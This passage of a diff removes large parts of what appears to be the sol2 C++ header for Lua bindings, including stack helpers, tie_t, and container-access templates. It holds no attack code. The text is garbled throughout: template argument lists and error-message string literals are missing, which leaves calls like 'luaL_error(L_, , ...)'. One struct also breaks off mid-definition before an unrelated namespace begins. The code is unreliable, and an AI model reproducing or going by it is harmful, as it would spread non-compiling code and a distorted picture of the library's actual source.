constexpr (meta::meta_detail::is_adl_sol_lua_check_access_v) { - sol_lua_check_access(types>(), L_, index_, tracking_); - } - return check_get(L_, index_, std::forward(handler_), tracking_); - } - - template - decltype(auto) unchecked_get_arg(lua_State* L_, int index_, record& tracking_) { - if constexpr (meta::meta_detail::is_adl_sol_lua_check_access_v) { - sol_lua_check_access(types>(), L_, index_, tracking_); - } - return unchecked_get(L_, index_, tracking_); - } - } // namespace stack_detail - - } // namespace stack - - namespace detail { - - template - lua_CFunction make_destructor(std::true_type) { - if constexpr (is_unique_usertype_v) { - return &unique_destroy; - } - else if constexpr (!std::is_pointer_v) { - return &usertype_alloc_destroy; - } - else { - return &cannot_destroy; - } - } - - template - lua_CFunction make_destructor(std::false_type) { - return &cannot_destroy; - } - - template - lua_CFunction make_destructor() { - return make_destructor(std::is_destructible()); - } - - struct no_comp { - template - bool operator()(A&&, B&&) const { - return false; - } - }; - - template - int is_check(lua_State* L) { - return stack::push(L, stack::check(L, 1, &no_panic)); - } - - template - int member_default_to_string(std::true_type, lua_State* L) { - decltype(auto) ts = stack::get(L, 1).to_string(); - return stack::push(L, std::forward(ts)); - } - - template - int member_default_to_string(std::false_type, lua_State* L) { - return luaL_error(L, - - , - detail::demangle().data()); - } - - template - int adl_default_to_string(std::true_type, lua_State* L) { - using namespace std; - decltype(auto) ts = to_string(stack::get(L, 1)); - return stack::push(L, std::forward(ts)); - } - - template - int adl_default_to_string(std::false_type, lua_State* L) { - return member_default_to_string(meta::supports_to_string_member(), L); - } - - template - int oss_default_to_string(std::true_type, lua_State* L) { - std::ostringstream oss; - oss << stack::unqualified_get(L, 1); - return stack::push(L, oss.str()); - } - - template - int oss_default_to_string(std::false_type, lua_State* L) { - return adl_default_to_string(meta::supports_adl_to_string(), L); - } - - template - int default_to_string(lua_State* L) { - return oss_default_to_string(meta::supports_op_left_shift(), L); - } - - template - int default_size(lua_State* L) { - decltype(auto) self = stack::unqualified_get(L, 1); - return stack::push(L, self.size()); - } - - template - int comparsion_operator_wrap(lua_State* L) { - if constexpr (std::is_void_v) { - return stack::push(L, false); - } - else { - auto maybel = stack::unqualified_check_get(L, 1); - if (!maybel) { - return stack::push(L, false); - } - auto mayber = stack::unqualified_check_get(L, 2); - if (!mayber) { - return stack::push(L, false); - } - decltype(auto) l = *maybel; - decltype(auto) r = *mayber; - if constexpr (std::is_same_v) { - std::equal_to<> op; - return stack::push(L, op(detail::ptr(l), detail::ptr(r))); - } - else { - if constexpr (std::is_same_v, Op> // clang-format hack - || std::is_same_v, Op> // - || std::is_same_v, Op>) { // - if (detail::ptr(l) == detail::ptr(r)) { - return stack::push(L, true); - } - } - Op op; - return stack::push(L, op(detail::deref(l), detail::deref(r))); - } - } - } - - template - void insert_default_registrations(IFx&& ifx, Fx&& fx); - - template - struct get_is_primitive : is_lua_primitive { }; - - template - struct get_is_primitive - : meta::neg(), nullptr, -1, std::declval()))>> { }; - - template - struct get_is_primitive - : meta::neg>(), nullptr, -1, std::declval()))>> { }; - - template - struct get_is_primitive : get_is_primitive { }; - - } // namespace detail - - template - struct is_proxy_primitive - : detail::get_is_primitive, meta::meta_detail::is_adl_sol_lua_get_v>> { }; - -} // namespace sol - -#endif // SOL_STACK_CORE_HPP - -namespace sol { - - namespace detail { - template - struct is_speshul : std::false_type { }; - } // namespace detail - - template - struct tie_size : std::tuple_size { }; - - template - struct is_tieable : std::integral_constant::value > 0)> { }; - - template - struct tie_t : public std::tuple...> { - private: - typedef std::tuple...> base_t; - - template - void set(std::false_type, T&& target) { - std::get<0>(*this) = std::forward(target); - } - - template - void set(std::true_type, T&& target) { - typedef tie_size> value_size; - typedef tie_size> tie_size; - typedef meta::conditional_t<(value_size::value < tie_size::value), value_size, tie_size> indices_size; - typedef std::make_index_sequence indices; - set_extra(detail::is_speshul>(), indices(), std::forward(target)); - } - - template - void set_extra(std::true_type, std::index_sequence, T&& target) { - using std::get; - (void)detail::swallow { 0, (get(static_cast(*this)) = get(types(), target), 0)..., 0 }; - } - - template - void set_extra(std::false_type, std::index_sequence, T&& target) { - using std::get; - (void)detail::swallow { 0, (get(static_cast(*this)) = get(target), 0)..., 0 }; - } - - public: - using base_t::base_t; - - template - tie_t& operator=(T&& value) { - typedef is_tieable> tieable; - set(tieable(), std::forward(value)); - return *this; - } - }; - - template - struct tie_size> : std::tuple_size> { }; - - namespace adl_barrier_detail { - template - inline tie_t...> tie(Tn&&... argn) { - return tie_t...>(std::forward(argn)...); - } - } // namespace adl_barrier_detail - - using namespace adl_barrier_detail; - -} // namespace sol - -#endif // SOL_TIE_HPP - -namespace sol { - - template - struct usertype_container; - - namespace container_detail { - - template - struct has_clear_test { - private: - template - static meta::sfinae_yes_t test(decltype(&C::clear)); - template - static meta::sfinae_no_t test(...); - - public: - static constexpr bool value = std::is_same_v(0)), meta::sfinae_yes_t>; - }; - - template - struct usertype_container_default>, meta::has_value_type>>, - meta::has_iterator>>>::value>> { - private: - using T = std::remove_pointer_t>>; - - private: - using deferred_uc = usertype_container; - using is_associative = meta::is_associative; - using is_lookup = meta::is_lookup; - using is_ordered = meta::is_ordered; - using is_matched_lookup = meta::is_matched_lookup; - using iterator = typename T::iterator; - using sentinel = meta::sentinel_or_t; - using value_type = typename T::value_type; - typedef meta::conditional_t, - meta::conditional_t>> - KV; - typedef typename KV::first_type K; - typedef typename KV::second_type V; - typedef meta::conditional_t next_K; - typedef decltype(*std::declval()) iterator_return; - typedef meta::conditional_t, - meta::conditional_t> - captured_type; - typedef typename meta::iterator_tag::type iterator_category; - typedef std::is_same is_input_iterator; - typedef meta::conditional_t()))> push_type; - typedef std::is_copy_assignable is_copyable; - typedef meta::neg, std::is_const>, meta::neg>> is_writable; - typedef meta::unqualified_t>()))> key_type; - typedef meta::all, meta::neg>> is_linear_integral; - - struct iter : detail::ebco, detail::ebco { - using it_base = detail::ebco; - using sen_base = detail::ebco; - main_reference keep_alive; - std::size_t index; - - iter(lua_State* L_, int stack_index_, iterator it_, sentinel sen_) noexcept - : it_base(std::move(it_)), sen_base(std::move(sen_)), keep_alive(L_, stack_index_), index(0) { - } - - iterator& it() noexcept { - return it_base::value(); - } - - const iterator& it() const noexcept { - return it_base::value(); - } - - sentinel& sen() noexcept { - return sen_base::value(); - } - - const sentinel& sen() const noexcept { - return sen_base::value(); - } - }; - - static auto& get_src(lua_State* L_) { -#if SOL_IS_ON(SOL_SAFE_USERTYPE) - auto p = stack::unqualified_check_get(L_, 1); - if (!p) { - luaL_error(L_, - , - detail::demangle().c_str()); - } - if (p.value() == nullptr) { - luaL_error( - L_, , detail::demangle().c_str()); - } - return *p.value(); -#else - return stack::unqualified_get(L_, 1); -#endif // Safe getting with error - } - - static detail::error_result at_category(std::input_iterator_tag, lua_State* L_, T& self, std::ptrdiff_t pos) { - pos += deferred_uc::index_adjustment(L_, self); - if (pos < 0) { - return stack::push(L_, lua_nil); - } - auto it = deferred_uc::begin(L_, self); - auto e = deferred_uc::end(L_, self); - if (it == e) { - return stack::push(L_, lua_nil); - } - while (pos > 0) { - --pos; - ++it; - if (it == e) { - return stack::push(L_, lua_nil); - } - } - return get_associative(is_associative(), L_, it); - } - - static detail::error_result at_category(std::random_access_iterator_tag, lua_State* L_, T& self, std::ptrdiff_t pos) { - std::ptrdiff_t len = static_cast(size_start(L_, self)); - pos += deferred_uc::index_adjustment(L_, self); - if (pos < 0 || pos >= len) { - return stack::push(L_, lua_nil); - } - auto it = std::next(deferred_uc::begin(L_, self), pos); - return get_associative(is_associative(), L_, it); - } - - static detail::error_result at_start(lua_State* L_, T& self, std::ptrdiff_t pos) { - return at_category(iterator_category(), L_, self, pos); - } - - template - static detail::error_result get_associative(std::true_type, lua_State* L_, Iter& it) { - decltype(auto) v = *it; - return stack::stack_detail::push_reference(L_, detail::deref_move_only(v.second)); - } - - template - static detail::error_result get_associative(std::false_type, lua_State* L_, Iter& it) { - return stack::stack_detail::push_reference(L_, detail::deref_move_only(*it)); - } - - static detail::error_result get_category(std::input_iterator_tag, lua_State* L_, T& self, K& key) { - key = static_cast(key + deferred_uc::index_adjustment(L_, self)); - if (key < 0) { - return stack::push(L_, lua_nil); - } - auto it = deferred_uc::begin(L_, self); - auto e = deferred_uc::end(L_, self); - if (it == e) { - return stack::push(L_, lua_nil); - } - while (key > 0) { - --key; - ++it; - if (it == e) { - return stack::push(L_, lua_nil); - } - } - return get_associative(is_associative(), L_, it); - } - - static detail::error_result get_category(std::random_access_iterator_tag, lua_State* L_, T& self, K& key) { - std::ptrdiff_t len = static_cast(size_start(L_, self)); - key = static_cast(static_cast(key) + deferred_uc::index_adjustment(L_, self)); - if (key < 0 || key >= len) { - return stack::push(L_, lua_nil); - } - auto it = std::next(deferred_uc::begin(L_, self), key); - return get_associative(is_associative(), L_, it); - } - - static detail::error_result get_it(std::true_type, lua_State* L_, T& self, K& key) { - return get_category(iterator_category(), L_, self, key); - } - - static detail::error_result get_comparative(std::true_type, lua_State* L_, T& self, K& key) { - auto fx = [&](const value_type& r) -> bool { return key == get_key(is_associative(), r); }; - auto e = deferred_uc::end(L_, self); - auto it = std::find_if(deferred_uc::begin(L_, self), e, std::ref(fx)); - if (it == e) { - return stack::push(L_, lua_nil); - } - return get_associative(is_associative(), L_, it); - } - - static detail::error_result get_comparative(std::false_type, lua_State*, T&, K&) { - return detail::error_result(, - detail::demangle().data(), - detail::demangle().data()); - } - - static detail::error_result get_it(std::false_type, lua_State* L_, T& self, K& key) { - return get_comparative(meta::supports_op_equal(), L_, self, key); - } - - static detail::error_result set_associative(std::true_type, iterator& it, stack_object value) { - decltype(auto) v = *it; - v.second = value.as(); - return {}; - } - - static detail::error_result set_associative(std::false_type, iterator& it, stack_object value) { - decltype(auto) v = *it; - v = value.as(); - return {}; - } - - static detail::error_result set_writable(std::true_type, lua_State*, T&, iterator& it, stack_object value) { - return set_associative(is_associative(), it, std::move(value)); - } - - static detail::error_result set_writable(std::false_type, lua_State*, T&, iterator&, stack_object) { - return detail::error_result( - , detail::demangle().data()); - } - - static detail::error_result set_category(std::input_iterator_tag, lua_State* L_, T& self, stack_object okey, stack_object value) { - decltype(auto) key = okey.as(); - key = static_cast(static_cast(key) + deferred_uc::index_adjustment(L_, self)); - auto e = deferred_uc::end(L_, self); - auto it = deferred_uc::begin(L_, self); - auto backit = it; - for (; key > 0 && it != e; --key, ++it) { - backit = it; - } - if (it == e) { - if (key == 0) { - return add_copyable(is_copyable(), L_, self, std::move(value), meta::has_insert_after::value ? backit : it); - } - return detail::error_result(, detail::demangle().c_str()); - } - return set_writable(is_writable(), L_, self, it, std::move(value)); - } - - static detail::error_result set_category(std::random_access_iterator_tag, lua_State* L_, T& self, stack_object okey, stack_object value) { - decltype(auto) key = okey.as(); - key = static_cast(static_cast(key) + deferred_uc::index_adjustment(L_, self)); - if (key < 0) { - return detail::error_result(, detail::demangle().c_str()); - } - std::ptrdiff_t len = static_cast(size_start(L_, self)); - if (key == len) { - return add_copyable(is_copyable(), L_, self, std::move(value)); - } - else if (key >= len) { - return detail::error_result(, detail::demangle().c_str()); - } - auto it = std::next(deferred_uc::begin(L_, self), key); - return set_writable(is_writable(), L_, self, it, std::move(value)); - } - - static detail::error_result set_comparative(std::true_type, lua_State* L_, T& self, stack_object okey, stack_object value) { - decltype(auto) key = okey.as(); - if (!is_writable::value) { - return detail::error_result( - , detail::demangle().data()); - } - auto fx = [&](const value_type& r) -> bool { return key == get_key(is_associative(), r); }; - auto e = deferred_uc::end(L_, self); - auto it = std::find_if(deferred_uc::begin(L_, self), e, std::ref(fx)); - if (it == e) { - return {}; - } - return set_writable(is_writable(), L_, self, it, std::move(value)); - } - - static detail::error_result set_comparative(std::false_type, lua_State*, T&, stack_object, stack_object) { - return detail::error_result(, - detail::demangle().data(), - detail::demangle().data()); - } - - template - static detail::error_result set_associative_insert(std::true_type, lua_State*, T& self, Iter& it, K& key, stack_object value) { - if constexpr (meta::has_insert_with_iterator::value) { - self.insert(it, value_type(key, value.as())); - return {}; - } - else if constexpr (meta::has_insert::value) { - self.insert(value_type(key, value.as())); - return {}; - } - else { - (void)self; - (void)it; - (void)key; - return detail::error_result( - , detail::demangle().c_str()); - } - } - - template - static detail::error_result set_associative_insert(std::false_type, lua_State*, T& self, Iter& it, K& key, stack_object) { - if constexpr (meta::has_insert_with_iterator::value) { - self.insert(it, key); - return {}; - } - else if constexpr (meta::has_insert::value) { - self.insert(key); - return {}; - } - else { - (void)self; - (void)it; - (void)key; - return detail::error_result( - , detail::demangle().c_str()); - } - } - - static detail::error_result set_associative_find(std::true_type, lua_State* L_, T& self, stack_object okey, stack_object value) { - decltype(auto) key = okey.as(); - auto it = self.find(key); - if (it == deferred_uc::end(L_, self)) { - return set_associative_insert(is_associative(), L_, self, it, key, std::move(value)); - } - return set_writable(is_writable(), L_, self, it, std::move(value)); - } - - static detail::error_result set_associative_find(std::false_type, lua_State* L_, T& self, stack_object key, stack_object value) { - return set_comparative(meta::supports_op_equal(), L_, self, std::move(key), std::move(value)); - } - - static detail::error_result set_it(std::true_type, lua_State* L_, T& self, stack_object key, stack_object value) { - return set_category(iterator_category(), L_, self, std::move(key), std::move(value)); - } - - static detail::error_result set_it(std::false_type, lua_State* L_, T& self, stack_object key, stack_object value) { - return set_associative_find(meta::all, meta::any>(), L_, self, std::move(key), std::move(value)); - } - - template - static detail::error_result find_has_associative_lookup(std::true_type, lua_State* L_, T& self) { - if constexpr (!is_ordered::value && idx_of) { - (void)L_; - (void)self; - return detail::error_result(, detail::demangle().data()); - } - else { - decltype(auto) key = stack::unqualified_get(L_, 2); - auto it = self.find(key); - if (it == deferred_uc::end(L_, self)) { - return stack::push(L_, lua_nil); - } - if constexpr (idx_of) { - auto dist = std::distance(deferred_uc::begin(L_, self), it); - dist -= deferred_uc::index_adjustment(L_, self); - return stack::push(L_, dist); - } - else { - return get_associative(is_associative(), L_, it); - } - } - } - - template - static detail::error_result find_has_associative_lookup(std::false_type, lua_State* L_, T& self) { - if constexpr (!is_ordered::value && idx_of) { - (void)L_; - (void)self; - return detail::error_result(, detail::demangle().data()); - } - else { - decltype(auto) value = stack::unqualified_get(L_, 2); - auto it = self.find(value); - if (it == deferred_uc::end(L_, self)) { - return stack::push(L_, lua_nil); - } - if constexpr (idx_of) { - auto dist = std::distance(deferred_uc::begin(L_, self), it); - dist -= deferred_uc::index_adjustment(L_, self); - return stack::push(L_, dist); - } - else { - return get_associative(is_associative(), L_, it); - } - } - } - - template - static detail::error_result find_has(std::true_type, lua_State* L_, T& self) { - return find_has_associative_lookup(meta::any(), L_, self); - } - - template - static detail::error_result find_associative_lookup(std::true_type, lua_State* L_, T&, Iter& it, std::size_t) { - return get_associative(is_associative(), L_, it); - } - - template - static detail::error_result find_associative_lookup(std::false_type, lua_State* L_, T& self, Iter&, std::size_t idx) { - idx = static_cast(static_cast(idx) - deferred_uc::index_adjustment(L_, self)); - return stack::push(L_, idx); - } - - template - static detail::error_result find_comparative(std::false_type, lua_State*, T&) { - return detail::error_result(, - detail::demangle().c_str()); - } - - template - static detail::error_result find_comparative(std::true_type, lua_State* L_, T& self) { - decltype(auto) value = stack::unqualified_get(L_, 2); - auto it = deferred_uc::begin(L_, self); - auto e = deferred_uc::end(L_, self); - std::size_t idx = 0; - for (;; ++it, ++idx) { - if (it == e) { - return stack::push(L_, lua_nil); - } - if (value == get_value(is_associative(), *it)) { - break; - } - } - return find_associative_lookup(meta::all, meta::any>(), L_, self, it, idx); - } - - template - static detail::error_result find_has(std::false_type, lua_State* L_, T& self) { - return find_comparative(meta::supports_op_equal(), L_, self); - } - - template - static detail::error_result add_insert_after(std::false_type, lua_State* L_, T& self, stack_object value, Iter&) { - return add_insert_after(std::false_type(), L_, self, value); - } - - static detail::error_result add_insert_after(std::false_type, lua_State*, T&, stack_object) { - return detail::error_result(, detail::demangle().data()); - } - - template - static detail::error_result add_insert_after(std::true_type, lua_State*, T& self, stack_object value, Iter& pos) { - self.insert_after(pos, value.as()); - return {}; - } - - static detail::error_result add_insert_after(std::true_type, lua_State* L_, T& self, stack_object value) { - auto backit = self.before_begin(); - { - auto e = deferred_uc::end(L_, self); - for (auto it = deferred_uc::begin(L_, self); it != e; ++backit, ++it) { } - } - return add_insert_after(std::true_type(), L_, self, value, backit); - } - - template - static detail::error_result add_insert(std::true_type, lua_State*, T& self, stack_object value, Iter& pos) { - self.insert(pos, value.as()); - return {}; - } - - static detail::error_result add_insert(std::true_type, lua_State* L_, T& self, stack_object value) { - auto pos = deferred_uc::end(L_, self); - return add_insert(std::true_type(), L_, self, value, pos); - } - - template - static detail::error_result add_insert(std::false_type, lua_State* L_, T& self, stack_object value, Iter& pos) { - return add_insert_after(meta::has_insert_after(), L_, self, std::move(value), pos); - } - - static detail::error_result add_insert(std::false_type, lua_State* L_, T& self, stack_object value) { - return add_insert_after(meta::has_insert_after(), L_, self, std::move(value)); - } - - template - static detail::error_result add_push_back(std::true_type, lua_State*, T& self, stack_object value, Iter&) { - self.push_back(value.as()); - return {}; - } - - static detail::error_result add_push_back(std::true_type, lua_State*, T& self, stack_object value) { - self.push_back(value.as()); - return {}; - } - - template - static detail::error_result add_push_back(std::false_type, lua_State* L_, T& self, stack_object value, Iter& pos) { - return add_insert( - std::integral_constant < bool, meta::has_insert::value || meta::has_insert_with_iterator::value > (), L_, self, value, pos); - } - - static detail::error_result add_push_back(std::false_type, lua_State* L_, T& self, stack_object value) { - return add_insert( - std::integral_constant < bool, meta::has_insert::value || meta::has_insert_with_iterator::value > (), L_, self, value); - } - - template - static detail::error_result add_associative(std::true_type, lua_State* L_, T& self, stack_object key, Iter& pos) { - if constexpr (meta::has_insert_with_iterator::value) { - self.insert(pos, value_type(key.as(), stack::unqualified_get(L_, 3))); - return {}; - } - else if constexpr (meta::has_insert::value) { - self.insert(value_type(key.as(), stack::unqualified_get(L_, 3))); - return {}; - } - else { - (void)L_; - (void)self; - (void)key; - (void)pos; - return detail::error_result( - , detail::demangle().c_str()); - } - } - - static detail::error_result add_associative(std::true_type, lua_State* L_, T& self, stack_object key) { - auto pos = deferred_uc::end(L_, self); - return add_associative(std::true_type(), L_, self, std::move(key), pos); - } - - template - static detail::error_result add_associative(std::false_type, lua_State* L_, T& self, stack_object value, Iter& pos) { - return add_push_back(meta::has_push_back(), L_, self, value, pos); - } - - static detail::error_result add_associative(std::false_type, lua_State* L_, T& self, stack_object value) { - return add_push_back(meta::has_push_back(), L_, self, value); - } - - template - static detail::error_result add_copyable(std::true_type, lua_State* L_, T& self, stack_object value, Iter& pos) { - return add_associative(is_associative(), L_, self, std::move(value), pos); - } - - static detail::error_result add_copyable(std::true_type, lua_State* L_, T& self, stack_object value) { - return add_associative(is_associative(), L_, self, value); - } - - template - static detail::error_result add_copyable(std::false_type, lua_State* L_, T& self, stack_object value, Iter&) { - return add_copyable(std::false_type(), L_, self, std::move(value)); - } - - static detail::error_result add_copyable(std::false_type, lua_State*, T&, stack_object) { - return detail::error_result(, detail::demangle().data()); - } - - static detail::error_result insert_lookup(std::true_type, lua_State* L_, T& self, stack_object, stack_object value) { - // TODO: should we warn or error about someone calling insert on an ordered / lookup container with no associativity? - return add_copyable(std::true_type(), L_, self, std::move(value)); - } - - static detail::error_result insert_lookup(std::false_type, lua_State* L_, T& self, stack_object where, stack_object value) { - auto it = deferred_uc::begin(L_, self); - auto key = where.as(); - key = static_cast(static_cast(key) + deferred_uc::index_adjustment(L_, self)); - std::advance(it, key); - self.insert(it, value.as()); - return {}; - } - - static detail::error_result insert_after_has(std::true_type, lua_State* L_, T& self, stack_object where, stack_object value) { - auto key = where.as(); - auto backit = self.before_begin(); - { - key = static_cast(static_cast(key) + deferred_uc::index_adjustment(L_, self)); - auto e = deferred_uc::end(L_, self); - for (auto it = deferred_uc::begin(L_, self); key > 0; ++backit, ++it, --key) { - if (backit == e) { - return detail::error_result(, detail::demangle().c_str()); - } - } - } - self.insert_after(backit, value.as()); - return {}; - } - - static detail::error_result insert_after_has(std::false_type, lua_State*, T&, stack_object, stack_object) { - return detail::error_result( - , detail::demangle().data()); - } - - static detail::error_result insert_has(std::true_type, lua_State* L_, T& self, stack_object key, stack_object value) { - return insert_lookup(meta::any(), L_, self, std::move(key), std::move(value)); - } - - static detail::error_result insert_has(std::false_type, lua_State* L_, T& self, stack_object where, stack_object value) { - return insert_after_has(meta::has_insert_after(), L_, self, where, value); - } - - static detail::error_result insert_copyable(std::true_type, lua_State* L_, T& self, stack_object key, stack_object value) { - return insert_has(std::integral_constant < bool, - meta::has_insert::value || meta::has_insert_with_iterator::value > (), - L_, - self, - std::move(key), - std::move(value)); - } - - static detail::error_result insert_copyable(std::false_type, lua_State*, T&, stack_object, stack_object) { - return detail::error_result(, detail::demangle().data()); - } - - static detail::error_result erase_integral(std::true_type, lua_State* L_, T& self, K& key) { - auto it = deferred_uc::begin(L_, self); - key = (static_cast(key) + deferred_uc::index_adjustment(L_, self)); - std::advance(it, key); - self.erase(it); - - return {}; - } - - static detail::error_result erase_integral(std::false_type, lua_State* L_, T& self, const K& key) { - auto fx = [&](const value_type& r) -> bool { return key == r; }; - auto e = deferred_uc::end(L_, self); - auto it = std::find_if(deferred_uc::begin(L_, self), e, std::ref(fx)); - if (it == e) { - return {}; - } - self.erase(it); - - return {}; - } - - static detail::error_result erase_associative_lookup(std::true_type, lua_State*, T& self, const K& key) { - self.erase(key); - return {}; - } - - static detail::error_result erase_associative_lookup(std::false_type, lua_State* L_, T& self, K& key) { - return erase_integral(std::is_integral(), L_, self, key); - } - - static detail::error_result erase_after_has(std::true_type, lua_State* L_, T& self, K& key) { - auto backit = self.before_begin(); - { - key = static_cast(static_cast(key) + deferred_uc::index_adjustment(L_, self)); - auto e = deferred_uc::end(L_, self); - for (auto it = deferred_uc::begin(L_, self); key > 0; ++backit, ++it, --key) { - if (backit == e) { - return detail::error_result(, detail::demangle().c_str()); - } - } - } - self.erase_after(backit); - return {}; - } - - static detail::error_result erase_after_has(std::false_type, lua_State*, T&, const K&) { - return detail::error_result(, detail::demangle().c_str()); - } - - static detail::error_result erase_key_has(std::true_type, lua_State* L_, T& self, K& key) { - return erase_associative_lookup(meta::any(), L_, self, key); - } - - static detail::error_result erase_key_has(std::false_type, lua_State* L_, T& self, K& key) { - return erase_after_has(has_erase_after(), L_, self, key); - } - - static detail::error_result erase_has(std::true_type, lua_State* L_, T& self, K& key) { - return erase_associative_lookup(meta::any(), L_, self, key); - } - - static detail::error_result erase_has(std::false_type, lua_State* L_, T& self, K& key) { - return erase_key_has(has_erase_key(), L_, self, key); - } - - static auto size_has(std::false_type, lua_State* L_, T& self) { - return std::distance(deferred_uc::begin(L_, self), deferred_uc::end(L_, self)); - } - - static auto size_has(std::true_type, lua_State*, T& self) { - return self.size(); - } - - static void clear_has(std::true_type, lua_State*, T& self) { - self.clear(); - } - - static void clear_has(std::false_type, lua_State* L_, T&) { - luaL_error(L_, , detail::demangle().c_str()); - } - - static bool empty_has(std::true_type, lua_State*, T& self) { - return self.empty(); - } - - static bool empty_has(std::false_type, lua_State* L_, T& self) { - return deferred_uc::begin(L_, self) == deferred_uc::end(L_, self); - } - - static detail::error_result get_associative_find(std::true_type, lua_State* L_, T& self, K& key) { - auto it = self.find(key); - if (it == deferred_uc::end(L_, self)) { - stack::push(L_, lua_nil); - return {}; - } - return get_associative(std::true_type(), L_, it); - } - - static detail::error_result get_associative_find(std::false_type, lua_State* L_, T& self, K& key) { - return get_it(is_linear_integral(), L_, self, key); - } - - static detail::error_result get_start(lua_State* L_, T& self, K& key) { - return get_associative_find(std::integral_constant < bool, is_associative::value&& has_find::value > (), L_, self, key); - } - - static detail::error_result set_start(lua_State* L_, T& self, stack_object key, stack_object value) { - return set_it(is_linear_integral(), L_, self, std::move(key), std::move(value)); - } - - static std::size_t size_start(lua_State* L_, T& self) { - return static_cast(size_has(meta::has_size(), L_, self)); - } - - static void clear_start(lua_State* L_, T& self) { - clear_has(has_clear(), L_, self); - } - - static bool empty_start(lua_State* L_, T& self) { - return empty_has(has_empty(), L_, self); - } - - static detail::error_result erase_start(lua_State* L_, T& self, K& key) { - return erase_has(has_erase(), L_, self, key); - } - - template - static int next_associative(std::true_type, lua_State* L_) { - iter& i = stack::unqualified_get>(L_, 1); - auto& it = i.it; - auto& end = i.end; - if (it == end) { - return stack::push(L_, lua_nil); - } - int p; - if constexpr (ip) { - ++i.index; - p = stack::push_reference(L_, i.index); - } - else { - p = stack::push_reference(L_, it->first); - } - p += stack::stack_detail::push_reference(L_, detail::deref_move_only(it->second)); - std::advance(it, 1); - return p; - } - - template - static int next_associative(std::false_type, lua_State* L_) { - iter& i = stack::unqualified_get>(L_, 1); - auto& it = i.it(); - auto& end = i.sen(); - next_K k = stack::unqualified_get(L_, 2); - if (it == end) { - return stack::push(L_, lua_nil); - } - int p; - if constexpr (std::is_integral_v) { - p = stack::push_reference(L_, k + 1); - } - else { - p = stack::stack_detail::push_reference(L_, k + 1); - } - p += stack::stack_detail::push_reference(L_, detail::deref_move_only(*it)); - std::advance(it, 1); - return p; - } - - template - static int next_iter(lua_State* L_) { - typedef meta::any>> is_assoc; - return next_associative(is_assoc(), L_); - } - - template - static int pairs_associative(std::true_type, lua_State* L_) { - auto& src = get_src(L_); - stack::push(L_, next_iter); - stack::push>(L_, L_, 1, deferred_uc::begin(L_, src), deferred_uc::begin(L_, src)); - stack::push(L_, lua_nil); - return 3; - } - - template - static int pairs_associative(std::false_type, lua_State* L_) { - auto& src = get_src(L_); - stack::push(L_, next_iter); - stack::push>(L_, L_, 1, deferred_uc::begin(L_, src), deferred_uc::end(L_, src)); - stack::push(L_, 0); - return 3; - } - - public: - static int at(lua_State* L_) { - auto& self = get_src(L_); - detail::error_result er; - { - std::ptrdiff_t pos = stack::unqualified_get(L_, 2); - er = at_start(L_, self, pos); - } - return handle_errors(L_, er); - } - - static int get(lua_State* L_) { - auto& self = get_src(L_); - detail::error_result er; - { - decltype(auto) key = stack::unqualified_get(L_); - er = get_start(L_, self, key); - } - return handle_errors(L_, er); - } - - static int index_get(lua_State* L_) { - return get(L_); - } - - static int set(lua_State* L_) { - stack_object value = stack_object(L_, raw_index(3)); - if constexpr (is_linear_integral::value) { - // for non-associative containers, - // erasure only happens if it is the - // last index in the container - auto key = stack::get(L_, 2); - auto self_size = deferred_uc::size(L_); - if (key == static_cast(self_size)) { - if (type_of(L_, 3) == type::lua_nil) { - return erase(L_); - } - } - } - else { - if (type_of(L_, 3) == type::lua_nil) { - return erase(L_); - } - } - auto& self = get_src(L_); - detail::error_result er = set_start(L_, self, stack_object(L_, raw_index(2)), std::move(value)); - return handle_errors(L_, er); - } - - static int index_set(lua_State* L_) { - return set(L_); - } - - static int add(lua_State* L_) { - auto& self = get_src(L_); - detail::error_result er = add_copyable(is_copyable(), L_, self, stack_object(L_, raw_index(2))); - return handle_errors(L_, er); - } - - static int insert(lua_State* L_) { - auto& self = get_src(L_); - detail::error_result er = insert_copyable(is_copyable(), L_, self, stack_object(L_, raw_index(2)), stack_object(L_, raw_index(3))); - return handle_errors(L_, er); - } - - static int find(lua_State* L_) { - auto& self = get_src(L_); - detail::error_result er = find_has(has_find(), L_, self); - return handle_errors(L_, er); - } - - static int index_of(lua_State* L_) { - auto& self = get_src(L_); - detail::error_result er = find_has(has_find(), L_, self); - return handle_errors(L_, er); - } - - static iterator begin(lua_State*, T& self) { - if constexpr (meta::has_begin_end_v) { - return self.begin(); - } - else { - using std::begin; - return begin(self); - } - } - - static sentinel end(lua_State*, T& self) { - if constexpr (meta::has_begin_end_v) { - return self.end(); - } - else { - using std::end; - return end(self); - } - } - - static int size(lua_State* L_) { - auto& self = get_src(L_); - std::size_t r = size_start(L_, self); - return stack::push(L_, r); - } - - static int clear(lua_State* L_) { - auto& self = get_src(L_); - clear_start(L_, self); - return 0; - } - - static int erase(lua_State* L_) { - auto& self = get_src(L_); - detail::error_result er; - { - decltype(auto) key = stack::unqualified_get(L_, 2); - er = erase_start(L_, self, key); - } - return handle_errors(L_, er); - } - - static int empty(lua_State* L_) { - auto& self = get_src(L_); - return stack::push(L_, empty_start(L_, self)); - } - - static std::ptrdiff_t index_adjustment(lua_State*, T&) { - return static_cast((SOL_CONTAINER_START_INDEX_I_) == 0 ? 0 : -(SOL_CONTAINER_START_INDEX_I_)); - } - - static int pairs(lua_State* L_) { - typedef meta::any>> is_assoc; - return pairs_associative(is_assoc(), L_); - } - - static int ipairs(lua_State* L_) { - typedef meta::any>> is_assoc; - return pairs_associative(is_assoc(), L_); - } - - static int next(lua_State* L_) { - return stack::push(L_, next_iter); - } - }; - - template - struct usertype_container_default>>::value>> { - private: - typedef std::remove_pointer_t> T; - typedef usertype_container deferred_uc; - - public: - typedef std::remove_extent_t value_type; - typedef value_type* iterator; - typedef iterator sentinel; - - private: - struct iter : detail::ebco, detail::ebco { - using it_base = detail::ebco; - using sen_base = detail::ebco; - reference keep_alive; - - iter(lua_State* L_, int stack_index_, iterator it_, sentinel sen_) noexcept - : it_base(std::move(it_)), sen_base(std::move(sen_)), keep_alive(sol::main_thread(L_, L_), stack_index_) { - } - - iterator& it() noexcept { - return it_base::value(); - } - - const iterator& it() const noexcept { - return it_base::value(); - } - - sentinel& sen() noexcept { - return sen_base::value(); - } - - const sentinel& sen() const noexcept { - return sen_base::value(); - } - }; - -namespace sol { - - namespace meta { - namespace meta_detail { - template - using is_dereferenceable_test = decltype(*std::declval()); - - template - using is_explicitly_dereferenceable_test = decltype(std::declval().operator*()); - } // namespace meta_detail - - template - using is_pointer_like = std::integral_constant && (std::is_pointer_v || is_detected_v)>; - - template - constexpr inline bool is_pointer_like_v = is_pointer_like::value; - } // namespace meta - - namespace detail { - - template - auto unwrap(T&& item) -> 